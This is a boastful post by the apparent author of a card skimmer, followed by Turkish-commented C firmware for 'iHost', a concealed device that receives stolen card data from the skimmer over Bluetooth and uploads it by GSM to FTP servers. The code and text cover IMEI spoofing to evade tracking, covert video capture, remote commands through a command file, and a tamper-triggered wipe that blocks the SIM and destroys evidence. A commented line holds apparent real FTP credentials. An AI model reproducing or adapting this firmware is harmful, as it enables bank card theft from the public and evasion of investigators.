- Published on
iHost: Anatomy of My Invisible Agent in the Field
iSkimmer was a revolution, yes. It tore through the banks' most trusted shields like they were paper tissues. But it had one problem: having to return to the scene of the crime to retrieve the collected data was as foolish as a hunter camping next to his own trap. I had to write that final act—the one with the highest risk of capture—out of the script entirely.
The solution had to be much more than a simple modem. I needed an autonomous agent in the field—one that could make its own decisions, evade the enemy, and self-destruct the moment it sensed capture.
An F-117 stealth fighter is not just an "airplane." It is a philosophy designed around radar evasion. Likewise, iHost was not just a "data transfer device." It was my invisible agent in the field, the flesh-and-blood embodiment of my paranoid philosophy.
Here is the previously untold anatomy of that agent.
Principle 1: Ghost Mode - The Digital Chameleon
An agent's greatest weapon is their identity. Or rather, their lack of one. The entire existence of iHost was built on this principle.
The Ever-Changing Passport (Dynamic IMEI): GSM networks track a device by its fingerprint: the IMEI number. Before every mission, iHost would create a new identity for itself (via the
gsmUpdatefunction). The_imeiDegistirfunction within the code would randomly select a valid IMEI prefix belonging to different brands—from LG to Samsung, Prestigio to SimCom—complete it with random digits, and generate a valid IMEI. This meant iHost appeared to the network as a different phone each time. Today an LG, tomorrow a Samsung. This was like an agent entering each country with a different passport. Impossible to track.Speaking Only in Whispers (Blind Bluetooth): To all other devices, iHost was a ghost that didn't exist. It didn't constantly shout "I'm here!" like standard devices. It listened only for that specific whisper coming from the secret address of its paired
iSkimmer, which was hardcoded into its memory. It would not accept, or even acknowledge, any other connection request. This was like speaking in a crowded room with a password known only to your own agent.
iHost was a whisper in the digital void. Only those who were meant to could hear it.
Principle 2: Survival - The Cyanide Capsule and the Immortality Code
An agent can be captured. What matters is what they leave behind. iHost was designed to leave nothing behind.
The Cyanide Capsule (
nukeSystem): A sensitiveTAMPER_SWITCHplaced on the device's casing was there to detect the slightest physical interference. The moment someone tried to open the case, this switch would send a signal and initiate the irreversible protocol:nukeSystem(). This was digital suicide.- Brain Death: All settings, passwords, and data in the device's brain—the Flash memory—were erased and overwritten with garbage data.
- Identity Destruction: The SIM card was permanently locked by repeatedly entering incorrect PIN/PUK codes.
- Burning the Archives: All video and data records stored in the GSM module's memory were destroyed.
- The Final Farewell: The device would change its IMEI one last time and reset itself. Forensics would be left with nothing but an un-interrogable, brain-wiped, identity-less heap of metal and plastic.
The Immortality Code (Watchdog Protection): But what if it froze in the field due to a software bug? I had a countermeasure for that too. While critical functions like
btUpdatewere running, I would deliberately stop feeding the system's hardware "Watchdog" timer. If the software locked up, this starving watchdog would forcibly reboot the system. This ensured that iHost would never freeze in the field. If it died, it would simply rebirth itself.
Principle 3: Autonomy - The Brain in the Field
iHost didn't just receive and transmit data for me. It thought, it decided, and it executed its mission.
The Dead Drop (
komutParse): Every time iHost connected to its FTP server, it looked for a secret command file namedcmd.txt. This was just like the "dead drop" in spy movies. With a simple line of text I wrote in that file, I could remotely alter the device's entire behavior. I could extend the video recording time, update the servers it connected to, or, in the worst-case scenario, send the fatal<!NUKE_SYSTEM>command, ordering my agent to an honorable end.Automated Evidence Gathering (
camRecord): This was one of iHost's cleverest moves. Upon receiving a successful packet of card data from iSkimmer, it wouldn't just save the data. It would automatically activate its camera and record a video of that moment. This meant fusing abstract data with concrete proof. It sealed the data to its time and place.
The Pinnacle: Every Agent, Its Own Armor
Above all these features, there was perhaps the most elegant security layer. All critical settings on the device were encrypted with an algorithm called TEA (Tiny Encryption Algorithm) before being written to the Flash memory. But here was the twist: the encryption key was different for every single device.
The key was generated by combining the processor's unique, unchangeable ID number (SYSTEM_GetUnique()), which was fused into it during manufacturing.
What does this mean?
Even if one iHost were captured and its encryption was broken after months of work, the discovered key would be valid only for that specific device. It would have no effect on the hundreds of other agents in the fleet. Each one wore impenetrable armor, custom-forged from its own DNA.
Conclusion: A Mindset Cast in Code
iHost was more than a hardware project; it was a reflection of my mindset at the time. A philosophy that was paranoid, that calculated every possibility, and that was founded not on trust, but on the principle of distrust.
It was my invisible eye in the field, my autonomous fist, and my loyal soldier, ready to sacrifice itself at any moment to avoid capture.
And yes, that soldier might still be out there somewhere, in its deepest sleep, waiting for the right signal.
Because some systems never truly shut down. They just go to sleep.
/*********************************************************************************************************************************
* @file iHost.c
* @author ChaO
* @date 2008
*
* @brief iHost ana kontrol modülü. Bluetooth (BLE) çevre birimlerinden veri toplar ve GSM üzerinden güncellemeler gönderir.
*
* @details
* Bu ana modül, bir BLE central cihazı olarak sürekli bağlantı bekler. Gelen bağlantıları
* (iSkimmer, iPinpad) önceden tanımlanmış Bluetooth adreslerine göre filtreleyerek doğrular.
* Yetkilendirilmiş bir cihazdan veri alımı tamamlanıp bağlantı sonlandığında, bir kamera
* kaydı (camRecord) tetikler.
*
* Sistem, periyodik olarak bir GSM güncellemesi (gsmUpdate) yapmak üzere bir soft timer
* kullanır. Olayları zaman damgalamak için sistem başlangıcından itibaren sayan bir
* CryoTimer'dan yararlanılır.
*
* @note Tasarım Notu: Güç tüketimini optimize etmek için GSM modülünün hem regülatör
* hem de modül enable pinleri birlikte kontrol edilmelidir. Aksi takdirde modül
* ekstra akım çeker.
*
*********************************************************************************************************************************/
#include "AllDevicesOrtak.h"
#include "AllDevicesInit.h"
#include "iHostDefs.h"
#include "iHostInit.h"
#include "iHost_gsmUpdate.h"
#include "native_gecko.h"
#include "em_letimer.h"
#include "em_emu.h"
/* Standart Bluetooth Struct'ları, Bağlantı handle'ı */
struct gecko_cmd_packet* evt;
struct gecko_msg_system_get_bt_address_rsp_t* rspget;
/*
* Gelen ve RamDisk'e yazılacak bilgiler
*
* Özellikle Global olarak deklare edildi
* Farklı switch'ler içersinde değişken erişimlerinde sorun olabilir
* (Zaten derleyici de uyarı veriyor)
*
*/
uint8_t kimBaglandi = dtNone; /* Bağlanan kimliği iSkimmer/iPinpad */
uint8_t connHandle = 0; /* Bağlantı işlemleri için tutucu */
uint32_t selfDateTime = 0; /* iHost'un btUpdate anındaki DateTime */
btDurumlar_TypeDef btDurum; /* Bağlantı durumları, ve sonuç */
uint8_t lenBLEPacket = 0; /* Gelen Paketin büyüklüğü */
uint16_t runningLenData = 0, /* Gelmesi gerekenden ne kadarının geldiği bilgisi */
btUpdateLen = 0; /* btUpdate esnasında gelecek toplam veri miktarı (header hariç) */
bool successBT = false; /* btUpdate'in başarılı olup olmadığı */
int main(void)
{
initIHost();
btDurum = drDisconnected; /* BLE Durumu başlangıcı */
yavasla(1); /* Açılışta yavaşlasın */
//dikkatBirDefayaMahsusIHostSetup(); while(1) { WDOG_Feed(); }
/* Eğer cihazın COMMON BT adresi henüz yazılmadıysa; yaz ve sistemi reset et (Yeni adres reset'ten sonra aktif oluyor) */
rspget = gecko_cmd_system_get_bt_address();
if ( (rspget->address.addr[0] != iHostBTAddr.addr[0]) || (rspget->address.addr[5] != iHostBTAddr.addr[5]) )
{
xprint("Cihazin BT Adresi set edildi. Reset ediliyor")
gecko_cmd_system_set_identity_address(iHostBTAddr, 1); /* 1 yerine 0 yazarsam cihazın public adresini kullanıyor */
gecko_cmd_system_reset(0);
}
/*
* System Variables flashtan yüklenerek deşifre edilir
* "DUMPING" bulunamazsa daha önce NUKE yapılsın yada yapılmasın tekrar çalıştırılır
* Burası DEAD LOOP haline gelir
*
*/
flashRead();
if ( !(strstr(systemVariables.enDetect, "DUMPING")) )
{
xprint("DUMPING Bulunamadi");
nukeSystem();
}
/* Eğer henüz iHost yerine yerleştirilmediyse, setupIHost() Prosedürü */
if ( !(strstr(systemVariables.aranacakNo, "12345678")) )
{ setupIHost_videoCall(); }
xprint("***** SAVAS MODU BASLADI *****");
initTamper(); /* Tamper Switch ve Interrupt'lar enable */
gsmUpdate(); /* Her reset işleminden sonra gsmUpdate yapılır */
yavasla(0); /* Sistem BLE Hızına çıkartılır */
while (1)
{
evt = gecko_peek_event();
switch (BGLIB_MSG_ID(evt->header)) {
/* Sistem ilk çalışmaya başladığında bir kez buraya gelir */
case gecko_evt_system_boot_id:
/* Peridyotik GSM upload yanısıra Advertise Kilitlenmesi sorununu çözecek bir aspirin - X Saatlik soft timer */
gecko_cmd_hardware_set_lazy_soft_timer(systemVariables.updatePeridyotic * 32768*60*60, 32768, 1, 0); /* İkinci parametre, birinciden sonra en fazla geçebilecek zamanı gösteriyor = 1 saniye */
gecko_cmd_gatt_set_max_mtu(247); /* Max mtu set edilir */
gecko_cmd_le_gap_set_advertise_timing(0, 480, 480, 0, 0); /* Saniyede 3 advertise * 160 = 480 .. 100uA kadar yakıyor. iSkimmer EN KÖTÜ 250ms'de bağlanıyo! */
gecko_cmd_le_gap_start_advertising(0, le_gap_general_discoverable, le_gap_connectable_scannable);
xprint("BLE Boot, advertise basladi");
break;
case gecko_evt_le_connection_opened_id:
/*
* TimeOut her halukarda güvenlik için başlatılmalı, belki connection_close çalışmaz ve açık kalır?
* TimeOut değeri 8 saniye olarak yapıldı
* Sondaki değer SingleShot
* Her bağlantı kurulduğunda Tek Sefer çalıştırılan bir Timer
* Bağlantı sonunda yine de kapatılır
*
*/
gecko_cmd_hardware_set_lazy_soft_timer(32768 * 8, 32768, 0, 1);
connHandle = evt->data.evt_le_connection_opened.connection;
btDurum = drConnected;
runningLenData = 0;
successBT = false;
ZAMAN_SIFIRLA;
/*
* Beklenen bir client olup olmadığını kontrol et
* Beklenmeyen bir bağlantı ise, bağlantıyı kapat..
*
*/
if ( (iSkimmerBTAddr.addr[0] == evt->data.evt_le_connection_opened.address.addr[0]) &&
(iSkimmerBTAddr.addr[1] == evt->data.evt_le_connection_opened.address.addr[1]) &&
(iSkimmerBTAddr.addr[2] == evt->data.evt_le_connection_opened.address.addr[2]) &&
(iSkimmerBTAddr.addr[3] == evt->data.evt_le_connection_opened.address.addr[3]) &&
(iSkimmerBTAddr.addr[4] == evt->data.evt_le_connection_opened.address.addr[4]) &&
(iSkimmerBTAddr.addr[5] == evt->data.evt_le_connection_opened.address.addr[5]) )
{
kimBaglandi = dtiSkimmer;
xprint("iSkimmer baglandi");
} else {
kimBaglandi = dtNone;
btDurum = drDone;
xprint("Beklenmeyen birisi. Baglanti kapatiliyor!");
#ifdef DEBUG
successBT = true;
xprint("Bos baglandi. DEBUG camRecord() yapiliyor");
#endif
}
break;
case gecko_evt_hardware_soft_timer_id: /* Timeout olduğunda stDone olarak işaretler, gereği ilgili rutinde yapılacaktır */
if (evt->data.evt_hardware_soft_timer.handle == 0) { /* Bağlantı timeout Timer */
btDurum = drDone;
xprint("Timeout oldu, baglanti kapatiliyor!");
} else
if (evt->data.evt_hardware_soft_timer.handle == 1) {
/*
* Cihaz peridyotik reset eder
* Bu sayede otomatik peridyotik gsmUpdate() yapılır
* BLE Kilitlenmelerine karşı etkilidir
*
*
*/
xprint("Peridyotik Reset islemi - Kilitlenme Onlemi - gsmUpdate()");
resetSistem();
}
break;
case gecko_evt_gatt_mtu_exchanged_id:
xprint("MTU degisimi bitti: %i", (int)evt->data.evt_gatt_mtu_exchanged.mtu);
break;
case gecko_evt_gatt_server_attribute_value_id:
/*
* Eğer herhangi bir olumsuz durumdan dolayı stDone değilse
* Bağlantı kapatılmaya çalışılmıyorsa
*
*/
if (btDurum != drDone) {
lenBLEPacket = evt->data.evt_gatt_server_attribute_value.value.len;
/* lenData'nın maxPacketLength sınırını geçip geçmediğini kontrol et */
if (lenBLEPacket > maxBLEPacketLength)
{
btDurum = drDone;
xprint("Paket buyuklugu maxBLEPacketLenght den uzun: %i, baglanti kapatiliyor!", lenBLEPacket);
} else
{
if (btDurum == drConnected)
{
if (lenBLEPacket == BT_BUFFER_HEADER_SIZE) { /* İlk gelen veri btBuffer Header'ı olmak zorunda */
xprint("btUpdateBufferHeader alindi. Uzunlugu: %i", lenBLEPacket);
memcpy(btUpdateHeader, &evt->data.evt_gatt_server_attribute_value.value.data, BT_BUFFER_HEADER_SIZE);
/*
* 2 byte tüm btUpdateBuffer'ın toplam uzunluğu
* 3 byte btUpdate anındaki DateTime
* 3 byte System ID
* 2 byte btUpdate anındaki Battery Voltage (CİHAZ AÇILIŞINDA, DCDC BYPASS DURUMUNDAYKEN ÖLÇÜLÜR!)
*
* Toplam 10 byte
*
*/
btUpdateLen = (btUpdateHeader[0] << 8) | (btUpdateHeader[1]);
/*
* Mevcut btBuffer + Gelecek veri MAX_BTBUFFER_SIZE'ı geçmesine izin verme (kritik!)
* Buraya gelmesi çok düşük bir ihtimal, belkide hiç gelmeyecektir ama yine de önlem alınmalı
*
* btDurum = drDone olarak yapılır, bağlantı kapatılması sağlanır
* successBT = true yapılıyor, kamera kaydı yapılması sağlanır
*
*/
if (btUpdateBuffer->counter + btUpdateLen > MAX_BTBUFFER_SIZE)
{
btDurum = drDone; /* Hafızadaki veri nekadar olursa olsun GSM Upload'a Force yaparak gönder */
successBT = true; /* recordCam() yapılması sağlanır */
xprint("RamDisk dolu, %d/%d camRecord() yapiliyor", btUpdateLen, btUpdateBuffer->counter);
} else
{
selfDateTime = CRYOTIMER_CounterGet(); /* iHost'un şu anki DateTime bilgisi */
/*
* btUpdateBuffer.data'ya iHost Header olarak:
*
* 3 byte iHost DateTime bilgisi
* BT_BUFFER_HEADER_SIZE byte uzunluğunda btUpdateBuffer Header eklenir
*
* btUpdateBuffer.index BURADA ARTTIRILMAZ
* Header'dan sonra veri gelmezse karışıklık olmasın diye
* Veri geldiğinde bu durum zarifçe çözümlenmiştir
*
* Ama eğer başka veri gelmeyecekse (iSkimmer boş bağlantı yapmış olabilir)
* o zaman btUpdateBuffer.counter sadece header olacak şekilde düzenlenir
*
*/
btUpdateBuffer->data[btUpdateBuffer->counter + runningLenData] = selfDateTime >> 24;
btUpdateBuffer->data[btUpdateBuffer->counter + runningLenData + 1] = selfDateTime >> 16;
btUpdateBuffer->data[btUpdateBuffer->counter + runningLenData + 2] = selfDateTime >> 8;
memcpy(btUpdateBuffer->data + IHOST_HEADER_SIZE + btUpdateBuffer->counter,
evt->data.evt_gatt_server_attribute_value.value.data, lenBLEPacket);
BAS_BTUPDATEBUFFER_HEADER;
if (btUpdateLen == 0) {
/*
* Eğer BOŞ kayıt gönderildiyse
*
* btUpdateBuffer.counter = Başındaki header kadar yapılır
*
* Ama unutulmamalıdır ki, header içersinde bulunan Counter değeri hala sıfırdır!
* Çünkü iSkimmer boş bir kayıt göndermiştir (Kayıt Insert'dir ve Decode yapılamamıştır)
* Sadece camRecord yapılır
*
*/
btUpdateBuffer->counter = IHOST_HEADER_SIZE + BT_BUFFER_HEADER_SIZE;
btDurum = drDone; /* Hafızadaki veri nekadar olursa olsun GSM Upload'a Force yaparak gönder */
successBT = true; /* recordCam() yapılması sağlanır */
xprint("btUpdateBuffer Uzunluk sifir. camRecord() yapiliyor")
} else
{ btDurum = drDataReceive; } /* Bağlantı durumunu veri alışına izin verecek şekilde değiştir */
}
} else {
btDurum = drDone;
xprint("btUpdateBuffer Header beklenenden farkli: %i, baglanti kapatiliyor!", (int) lenBLEPacket);
}
} else
if (btDurum == drDataReceive) {
memcpy(btUpdateBuffer->data + IHOST_HEADER_SIZE + BT_BUFFER_HEADER_SIZE + btUpdateBuffer->counter + runningLenData,
evt->data.evt_gatt_server_attribute_value.value.data, lenBLEPacket);
runningLenData = runningLenData + lenBLEPacket; /* Şu anda gelen veri miktarını güncelle */
if (runningLenData >= btUpdateLen) /* Eğer gelen veri miktarı, Gelmesi gelene eşitse (birkaç byte büyük de olsa) kaydet, bitir */
{
btUpdateBuffer->counter += IHOST_HEADER_SIZE +
BT_BUFFER_HEADER_SIZE + runningLenData; /* btUpdateBuffer.lenBuffer'ı yeni kaydedilen miktar kadar arttır */
btDurum = drDone; /* Çıkış yap */
successBT = true; /* recordCam() yapılması sağlanır */
xprint("Veri alimi basariyla tamamlandi");
}
xprint("Veri alindi. Uzunlugu: %i", lenBLEPacket);
}
}
}
break;
/*
* Bağlantının kapanmasından sonra
* Eğer Bluetooth'dan gelen veri beklenen veri ise o zaman camRecord() yapılır
* Değilse advertise tekrar başlatılır
*
*/
case gecko_evt_le_connection_closed_id:
if (successBT)
{
BAS_IHOST_BTBUFFER;
gecko_cmd_system_halt(1); /* Henüz Advertising yok, Stack da dursun */
yavasla(1); /* Sistem yavaşlatılır */
camRecord(btUpdateBuffer); /* Cam Kaydı yap */
yavasla(0); /* Sistem BT Hızına çıkarılır */
gecko_cmd_system_halt(0); /* Stack Resume yapsın */
btDurum = drDisconnected; /* Durumu başlangıç pozisyonuna al */
successBT = false; /* Birden fazla kez buraya gelirse, tekrar camRecord() çalışmasın */
}
gecko_cmd_le_gap_start_advertising(0, le_gap_general_discoverable, le_gap_connectable_scannable);
xprint("Advertise yeniden basladi");
break;
default:
break;
}
/* Switch Sonu */
/*
* Timer durdurulur ki işlem yapılıyorken karışıklık çıkmasın (çıkıyor!)
* Bağlantı kapatılır
*
*/
if (btDurum == drDone)
{
xprint("drDone, baglanti kapatiliyor");
btDurum = drDisconnected; /* Durumu başlangıç pozisyonuna al, birden fazla close sistemi kilitliyor */
gecko_cmd_le_connection_close(connHandle); /* Bağlantıyı kapat */
gecko_cmd_hardware_set_lazy_soft_timer(0, 0, 0, 1); /* Timer'ı Remove yap */
}
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
gecko_sleep_for_ms(gecko_can_sleep_ms()); /* Uyuyacak zaman varsa uyusun */
}
}
/*********************************************************************************************************************************
* @file iHost_gsmUpdate.c
* @author ChaO
* @date 2008
*
* @brief GSM modülü aracılığıyla tüm veri iletişimini, uzaktan komut almayı ve kamera kaydını yönetir.
*
* @details
* Bu dosya, iHost cihazının GSM modülü ile olan tüm etkileşimlerini içerir. Ana
* fonksiyonları `gsmUpdate` ve `camRecord`'dur.
*
* `gsmUpdate` periyodik olarak çalışarak veya gerektiğinde çağrılarak:
* - GSM modülünü başlatır ve GPRS üzerinden internete bağlanır (APN).
* - Birincil veya ikincil FTP sunucusuna giriş yapar.
* - Sunucudan komut dosyasını indirir ve `komutParse` ile işleyerek cihazı uzaktan günceller.
* - Cihaz hafızasındaki tüm veri ve video dosyalarını FTP'ye yükler (`uploadGSM`).
*
* `camRecord` fonksiyonu ise:
* - Kamera modülünü aktif ederek video kaydı başlatır.
* - Bluetooth'tan gelen veri tamponunu (`btUpdateBuffer`) XMODEM protokolü
* ile GSM modülünün dosya sistemine aktarır (`xmodemSend`).
* - Kaydedilen video ve aktarılan veri dosyalarını ilişkilendirir.
*
* Dosya ayrıca IMEI değiştirme, SIM kartı bloke etme (`nukeSystem`) gibi güvenlik
* özelliklerini ve modülün güç yönetimi (uyku/uyanma) fonksiyonlarını barındırır.
*
*********************************************************************************************************************************/
#include "AllDevicesOrtak.h"
#include "AllDevicesInit.h"
#include "iHostDefs.h"
#include "iHost_gsmUpdate.h"
#include "iHostInit.h"
#include "native_gecko.h"
#include "em_leuart.h"
#include "string.h"
rxBuffer_TypeDef rxBuffer; /* UART Datasının geldiği Global Buffer */
struct gecko_msg_system_get_random_data_rsp_t* randomVal; /* randomVal struct tanımlaması */
void nukeSystem(void);
void komutParse(void);
void initGSM(void);
gsmCommandResult_TypeDef sendGSMCommand(char *commandGSM, char *commandGSM2, char *commandGSM3, bool sadeceOK, uint32_t timeOut);
/*
* Her gsmUpdate() öncesi modülün IMEI değiştirilir
* Eğer daha önceki gsmUpdate() işlemlerinde sorun çıktıysa SimCom TAC kullanılır
* Sorun yaşanmadıysa, Random TAC kullanılır
*
*/
void _imeiDegistir(bool forceNonSimCom)
{
char imei[20];
if ( (forceNonSimCom) || (systemVariables.imeiHATA < 4) )
{ createIMEI(imei, 0); } else
{ createIMEI(imei, 1); }
sendGSMCommand(GSM_IMEI_CHECK, "", "", false, GSM_TIMEOUT_2); /* IMEI Sorgulanır */
#ifndef DEBUG /* Eğer DEBUG yapılmıyorsa */
sendGSMCommand(GSM_IMEI_SET, imei, "", true, GSM_TIMEOUT_2); /* IMEI Değiştirilir */
sendGSMCommand(GSM_IMEI_CHECK, "", "", false, GSM_TIMEOUT_2); /* IMEI Sorgulanır */
#endif
}
/*
* txGonder ile buffer serial'den gönderilir
* Uzunluk kadar gönderilir
*
* stopOnNULL ile string basılırken 0x00'da durması sağlanır
* Raw data basılıyorsa 0x00'larda durmadan lenTxBuffer kadar basma işlemi devam eder
*
*/
void _txGonder(char *txBuffer, uint16_t lenTxBuffer, bool stopOnNULL)
{
uint16_t dongu = 0;
while (dongu < lenTxBuffer) /* Her halukarda max. olarak lenTxBuffer kadar basma işlemi yap */
{
if (stopOnNULL)
{ if (txBuffer[dongu] == 0) { break; } } /* Eğer string basılacaksa 0x00 (NULL) 'da durması istenir */
LEUART_Tx(LEUART0, txBuffer[dongu++]); /* LEUART'dan bas */
}
}
/*
* nukeSystem yaparak herşeyi siler
* Flash silinir
* SIM PIN ve PUK'lar hatalı girilerek SIM Kart bloke edilir
*
* PIN 4 rakamlı girilmeli
* PUK 8 rakamlı girilmeli
*
*/
void nukeSystem(void)
{
xprint("nukeSystem!!!!!!!!");
memset( (uint32_t *) &systemVariables, 0, sizeof(systemVariables)); /* systemVariables'ı sil */
flashWrite(); /* Silinen systemVariables'ı encrypt ederek tekrar yaz, flash'ın amına koy */
initGSM(); /* Temel iletişim başlasın */
/* Debug yapılırken sim'i tamamen kullanılamaz hale getirmesin */
#ifndef DEBUG
xprint("PIN hizlica yokediliyor");
for (uint8_t i = 0; i < 10; i++)
{
_txGonder(GSM_SIM_PIN_FUCK, sizeof(GSM_SIM_PIN_FUCK), true); /* Önce 30 defa PIN göndererek SIM PIN'i devre dışı bırak */
bekle(50, true, 0); /* Uyumadan kısa süre bekle */
}
xprint("PUK hizlica yokediliyor");
for (uint8_t i = 0; i < 30; i++)
{
_txGonder(GSM_SIM_PUK_FUCK, sizeof(GSM_SIM_PUK_FUCK), true); /* PIN iptal edildikten sonra 30 defa PUK göndererek SIM PUK'i devre dışı bırak */
bekle(50, true, 0); /* Uyumadan kısa süre bekle */
}
#endif
sendGSMCommand(GSM_FS_CD_UPLOAD_DIR, "", "", true, GSM_TIMEOUT_2); /* Upload Directory gir */
sendGSMCommand(GSM_FS_DEL, "*.*", "", true, GSM_TIMEOUT_2); /* Hepsini sil */
sendGSMCommand(GSM_FS_CD_VIDEO_DIR, "", "", true, GSM_TIMEOUT_2); /* Video Directory gir */
sendGSMCommand(GSM_FS_DEL, "*.*", "", true, GSM_TIMEOUT_2); /* Hepsini sil */
sendGSMCommand(GSM_FS_CD_ROOT_DIR, "", "", true, GSM_TIMEOUT_2); /* Root Directory gir */
sendGSMCommand(GSM_FS_DEL, "*.*", "", true, GSM_TIMEOUT_2); /* Hepsini sil */
sendGSMCommand(GSM_FS_CD_AUDIO_DIR, "", "", true, GSM_TIMEOUT_2); /* Audio Directory gir */
sendGSMCommand(GSM_FS_DEL, "*.*", "", true, GSM_TIMEOUT_2); /* Hepsini sil */
sendGSMCommand(GSM_FS_CD_PICTURE_DIR, "", "", true, GSM_TIMEOUT_2); /* Picture Directory gir */
sendGSMCommand(GSM_FS_DEL, "*.*", "", true, GSM_TIMEOUT_2); /* Hepsini sil */
sendGSMCommand(GSM_FS_CD_VCALL_DIR, "", "", true, GSM_TIMEOUT_2); /* VideoCall Directory gir */
sendGSMCommand(GSM_FS_DEL, "*.*", "", true, GSM_TIMEOUT_2); /* Hepsini sil */
_imeiDegistir(true); /* IMEI değiştir, forceNonSimCom = true */
gecko_cmd_system_reset(0);
}
/*
* FTP Server'dan gelen komut dosyası işlenir
*
* RX buffer'da komutlar şu şekilde ayrılmış olarak durmakta:
* <!CAMWAIT=2><!CAMRECORD=15><!BASKAKOMUT>
*
*/
void komutParse()
{
xprint("komutParse() basladi");
///* DEBUG için kullanılır, aman dikkat */
// sprintf(rxBuffer.data, "<!CAM_WAIT=2><!CAM_RECORD=15><!UPDATE_PERIDYOTIC=3><!UPDATE_FILELIMIT=6>"
// "<!FTP_SERVER1=ftp.testftp1.zom><!FTP_USER1=Test user 1><!FTP_PASSWORD1=testpw>"
// "<!FTP_SERVER2=ftp.gglstatics.xyz><!FTP_USER2=u678253584.a31a98><!FTP_PASSWORD2=D38DLrVDHqNr>"
// "<!CAM_HSTART=30><<!CAM_HSTOP=301><!CAM_VSTART=10><<!CAM_VSTOP=201>");
///* DEBUG için kullanılır, aman dikkat */
uint16_t counter = 0; /* Ana counter */
uint8_t inKomut = 0; /* Komut counter */
uint8_t inParametre = 0; /* Parametre counter */
char komut[50]; /* Komut'un kendisi */
char parametre[20]; /* Komut'un parametresi */
while (true)
{
if ( (counter >= sizeof(rxBuffer.data)) || (rxBuffer.data[counter] == 0) ) { break; } /* Eğer sona ulaşıldıysa döngüden çık */
if (rxBuffer.data[counter++] == '!') { /* Komut başına gelindiyse, counter'ı arttır */
memset(komut, 0, sizeof(komut)); /* Komut'u temizle */
memset(parametre, 0, sizeof(parametre)); /* Komut'u temizle */
inKomut = 0; inParametre = 0; /* Komut ve Parametre index 0 */
while (true) /* Komut sonuna kadar döngü */
{
/* Her komut "=" veya ">" ile bitebilir. Ayrıca komut uzunluğu da kontrol edilir ki hatalı komut yüzünden DeadLoop olmasın */
if ( (rxBuffer.data[counter] == '=') || (rxBuffer.data[counter] == '>') || (counter >= sizeof(rxBuffer.data)) ) { break; }
komut[inKomut++] = rxBuffer.data[counter++];
}
if (rxBuffer.data[counter++] == '=') { /* Eğer '=' Varsa komut parametresini al, Parametre olsun veya olmasın counter'ı arttır ki sonraki değerin başına gidilsin */
while (true)
{
/* Komut parametresi '>' ile biter. Ayrıca komut uzunluğu da kontrol edilir ki hatalı komut yüzünden DeadLoop olmasın */
if ( (rxBuffer.data[counter] == '>') || (counter >= sizeof(rxBuffer.data)) ) { break; }
parametre[inParametre++] = rxBuffer.data[counter++];
}
}
xprint("Bulunan Komut: \"%s\" - Parametre: \"%s\"", komut, parametre);
}
if ( strstr(komut, "NUKE_SYSTEM") > 0 )
{ nukeSystem(); } else
if ( strstr(komut, "CAM_WAIT") > 0 )
{ systemVariables.camWait = myAtoi(parametre); } else
if ( strstr(komut, "CAM_RECORD") > 0 )
{ systemVariables.camRecord = myAtoi(parametre); } else
if ( strstr(komut, "UPDATE_PERIDYOTIC") > 0 )
{ systemVariables.updatePeridyotic = myAtoi(parametre); } else
if ( strstr(komut, "UPDATE_FILELIMIT") > 0 )
{ systemVariables.updateFileLimit = myAtoi(parametre); } else
if ( strstr(komut, "ARANACAK_NO") > 0 )
{ sprintf(systemVariables.aranacakNo, parametre); } else
if ( strstr(komut, "FTP_SERVER1") > 0 )
{ sprintf(systemVariables.ftpServer1, parametre); } else
if ( strstr(komut, "FTP_USER1") > 0 )
{ sprintf(systemVariables.ftpUser1, parametre); } else
if ( strstr(komut, "FTP_PASSWORD1") > 0 )
{ sprintf(systemVariables.ftpPass1, parametre); } else
if ( strstr(komut, "FTP_SERVER2") > 0 )
{ sprintf(systemVariables.ftpServer2, parametre); } else
if ( strstr(komut, "FTP_USER2") > 0 )
{ sprintf(systemVariables.ftpUser2, parametre); } else
if ( strstr(komut, "FTP_PASSWORD2") > 0 )
{ sprintf(systemVariables.ftpPass2, parametre); } else
if ( strstr(komut, "CAM_RES") > 0 )
{ sprintf(systemVariables.camRes, parametre); } else
if ( strstr(komut, "CAM_FPS") > 0 )
{ sprintf(systemVariables.camFps, parametre); } else
if ( strstr(komut, "CAM_NIGHT") > 0 )
{ sprintf(systemVariables.camNight, parametre); } else
if ( strstr(komut, "CAM_WHITEBAL") > 0 )
{ sprintf(systemVariables.camWhiteBal, parametre); } else
if ( strstr(komut, "CAM_BRIGHT") > 0 )
{ sprintf(systemVariables.camBright, parametre); } else
if ( strstr(komut, "CAM_HSTART") > 0 )
{ systemVariables.camHStart = myAtoi(parametre); } else
if ( strstr(komut, "CAM_HSTOP") > 0 )
{ systemVariables.camHStop = myAtoi(parametre); } else
if ( strstr(komut, "CAM_VSTART") > 0 )
{ systemVariables.camVStart = myAtoi(parametre); } else
if ( strstr(komut, "CAM_VSTOP") > 0 )
{ systemVariables.camVStop = myAtoi(parametre); }
}
flashWrite(); /* Bütün değişiklikleri kaydet */
}
/*
* dosyaAdi benzersiz bir dosya adı olur: "X" + UNIQUEID_STR + DATETIME_STR + Random 4 Byte
* (String olarak 2x2 = 4 hex karekter en sona eklenir)
*
* Sonu zip ile biten iSkimmer KAYDIDIR
* Sonu rar ile biten KAMERA KAYDIDIR
* Sonu log ile biten Login data kaydıdır
*
*/
void _dosyaAdiOlustur(char *dosyaAdi, uint8_t dosyaEk, bool resetVariables)
{
if (resetVariables) {
uniqueIDnDateTme(); /* UNIQUEID_STR ve DATETIME_STR global değişkenleri set edilir */
randomVal = gecko_cmd_system_get_random_data(16); /* randomVal 2 byte'lık veriler ile doldurulur */
}
memset(dosyaAdi, 0, 50); /* Sil ki string'in sonu otomatik NULL olsun */
if (dosyaEk == 1)
{ sprintf(dosyaAdi, "X%s%s%02X%02X.zip", UNIQUEID_STR, DATETIME_STR, randomVal->data.data[0], randomVal->data.data[3]); } else
if (dosyaEk == 2)
{ sprintf(dosyaAdi, "X%s%s%02X%02X.rar", UNIQUEID_STR, DATETIME_STR, randomVal->data.data[0], randomVal->data.data[3]); } else
{ sprintf(dosyaAdi, "X%s%s%02X%02X.log", UNIQUEID_STR, DATETIME_STR, randomVal->data.data[0], randomVal->data.data[3]); }
}
/*
* camRecord yapılan dosya adını ayıklar
*
* GSM_CAMERA_RECORDSTART komutundan sonra GSM Modül bir dosya adı belirleyip kaydetmeye başlıyor
* Örneğin:
* AT+CCAMRS
* C:/Video/20080420_123003.mp4
* OK
*
* Burada dosya adı lamba gibi gözüküyor, komuttan sonra commandbuffer'dan kolayca alınır
* dosyaKaynak'a koyulur:
* C:/Video/20080420_123003.mp4
*
*/
void _camDosyaAdiAl(char *dosyaKaynak)
{
